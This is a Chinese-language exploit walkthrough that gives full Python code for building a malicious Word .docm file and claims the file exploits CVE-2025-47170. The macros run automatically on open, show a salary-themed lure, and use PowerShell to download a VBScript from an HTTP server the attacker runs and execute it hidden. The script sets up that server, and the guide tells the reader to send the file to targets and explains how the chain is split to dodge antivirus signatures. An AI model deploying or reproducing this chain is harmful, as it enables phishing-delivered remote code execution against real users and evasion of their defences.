VBA绕过Windows Defender漏洞利用PoC
概述
此Python脚本是一个概念验证(PoC)漏洞利用,演示了Microsoft Word远程代码执行漏洞CVE-2025-47170。
它自动化创建带有嵌入VBA宏的恶意Microsoft Word .docm文件,这些宏从HTTP服务器下载并执行VBScript载荷。VBScript载荷会强制重启受害者机器。
脚本分解与说明
1. 导入和依赖
1
2
3
4
5
6
7
8
|
import os
import sys
import socket
import http.server
import socketserver
import threading
import pythoncom
import win32com.client as win32
|
pythoncom和win32com.client(来自pywin32)用于通过COM自动化Microsoft Word。
http.server和socketserver创建HTTP服务器来托管载荷文件。
socket获取本地IP地址。
标准库如os、sys和threading用于文件管理、参数和并发。
2. 获取本地IP地址
1
2
3
4
5
6
7
8
9
10
|
def get_local_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
except Exception:
ip = "127.0.0.1"
finally:
s.close()
return ip
|
创建UDP套接字,通过"连接"到公共DNS IP(Google的8.8.8.8)获取机器的本地IP地址。
此IP用于构建服务载荷的URL。
3. 创建VBScript载荷
1
2
3
4
5
6
7
8
9
10
|
def create_vbs_payload(folder):
vbs_path = os.path.join(folder, "salaries.vbs")
vbs_content = '''
Set objShell = CreateObject("WScript.Shell")
objShell.Run "shutdown /r /t 5 /f", 0, False
'''
with open(vbs_path, "w") as f:
f.write(vbs_content.strip())
print(f"[*] Created VBS payload at: {vbs_path}")
return "salaries.vbs"
|
将VBScript文件salaries.vbs写入指定文件夹。
该脚本静默运行Windows关机命令,在5秒后重启系统。
此VBScript是由宏执行的载荷。
4. 创建带有嵌入宏的恶意Word文档(salaries.docm)
1
2
3
4
5
6
|
def create_docm_with_macro(folder, payload_url):
docm_path = os.path.join(folder, "salaries.docm")
pythoncom.CoInitialize()
word = win32.gencache.EnsureDispatch('Word.Application')
word.Visible = False
doc = word.Documents.Add()
|
初始化COM并隐形启动Word。
创建新的Word文档。
1
|
doc.Content.Text = "Please enable macros to see the salary details."
|
添加一些无害文本来诱使用户启用宏。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
macro_code = f'''
Sub AutoOpen()
Call RunPayload
End Sub
Sub Document_Open()
Call RunPayload
End Sub
Sub RunPayload()
On Error Resume Next
Dim fullUrl As String
Dim payloadName As String
Dim fullPath As String
Dim shellCmd As String
Dim RetVal As Long
fullUrl = "http://" & "{payload_url}" & "/salaries.vbs"
payloadName = "salaries.vbs"
fullPath = Environ("TEMP") & "\\" & payloadName
shellCmd = "powershell -Command ""Invoke-WebRequest -Uri '" & fullUrl & "' -OutFile '" & fullPath & "' -UseBasicParsing"""
RetVal = Shell(shellCmd, vbHide)
RetVal = Shell("wscript.exe " & fullPath, vbHide)
End Sub
'''
|
VBA宏代码在文档打开时自动执行(AutoOpen、Document_Open)。
它:
- 构建下载
salaries.vbs的URL
- 通过PowerShell的Invoke-WebRequest将VBScript载荷下载到TEMP目录
- 使用
wscript.exe静默执行VBScript
- 包含
On Error Resume Next以避免在出错时停止
1
2
3
|
vb_proj = doc.VBProject
vb_module = vb_proj.VBComponents.Add(1) # 1 = vbext_ct_StdModule
vb_module.CodeModule.AddFromString(macro_code.strip())
|
将VBA宏注入Word文档的VBA项目。
1
2
3
4
5
6
7
8
9
10
|
wdFormatXMLDocumentMacroEnabled = 13
try:
doc.SaveAs(docm_path, FileFormat=wdFormatXMLDocumentMacroEnabled)
print(f"[*] Created malicious DOCM file: {docm_path}")
except Exception as e:
print(f"[!] Failed to save DOCM file: {e}")
finally:
doc.Close(False)
word.Quit()
pythoncom.CoUninitialize()
|
将文档保存为.docm文件(启用宏)。
正确关闭Word并清理COM初始化。
5. 启动HTTP服务器托管载荷和文档
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
def start_http_server(folder, port):
os.chdir(folder)
handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", port), handler)
local_ip = get_local_ip()
print(f"[*] Serving HTTP at port {port} from folder: {folder}")
print(f"[*] Payload URL: http://{local_ip}:{port}/salaries.vbs")
print(f"[*] DOCM URL: http://{local_ip}:{port}/salaries.docm")
print("[*] Press Ctrl+C to stop the HTTP server and exit.")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[*] Stopping HTTP server...")
httpd.server_close()
|
更改目录以服务当前文件夹。
在指定端口启动简单HTTP服务器。
输出载荷和文档访问的URL。
运行直到被中断。
6. 主函数:工作流控制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <port>")
sys.exit(1)
port = int(sys.argv[1])
folder = os.getcwd()
# Create payload.vbs if missing
vbs_path = os.path.join(folder, "salaries.vbs")
if not os.path.isfile(vbs_path):
create_vbs_payload(folder)
else:
print(f"[+] Using existing payload: {vbs_path}")
local_ip = get_local_ip()
payload_url = f"{local_ip}:{port}"
create_docm_with_macro(folder, payload_url)
start_http_server(folder, port)
|
验证命令行参数(端口)。
使用当前目录作为工作文件夹。
如果VBScript载荷不存在则创建它。
生成指向本地HTTP服务器的恶意Word文档。
启动HTTP服务器服务文件。
使用方法
使用端口号参数运行脚本:
1
|
python CVE-2025-47170.py 8000
|
脚本将在当前目录生成salaries.vbs和salaries.docm。
它将在端口8000上启动HTTP服务器服务这些文件。
将salaries.docm传递给目标用户。当他们打开文档并启用宏时:
- 宏从
http://<your-ip>:8000/salaries.vbs下载salaries.vbs
- 运行VBScript,强制系统重启
Windows Defender绕过讨论
VBScript载荷未嵌入Word文档内部,而是动态下载。
宏使用PowerShell的Invoke-WebRequest获取载荷,而不是使用可疑命令如bitsadmin。
宏使用对用户交互隐藏的基本VBA shell命令(vbHide)。
这种小步骤的链式操作使得基于签名的防病毒软件更难一次性检测到完整攻击。
注意:这是一个简单的演示,具有云启发式或行为检测的现代Windows Defender版本可能仍会阻止此攻击。
警告和法律声明
仅用于教育目的和授权的安全测试。
执行VBScript载荷将在不警告的情况下重启您的系统。
确保在任何机器上测试之前获得权限。
仅在受控环境中使用。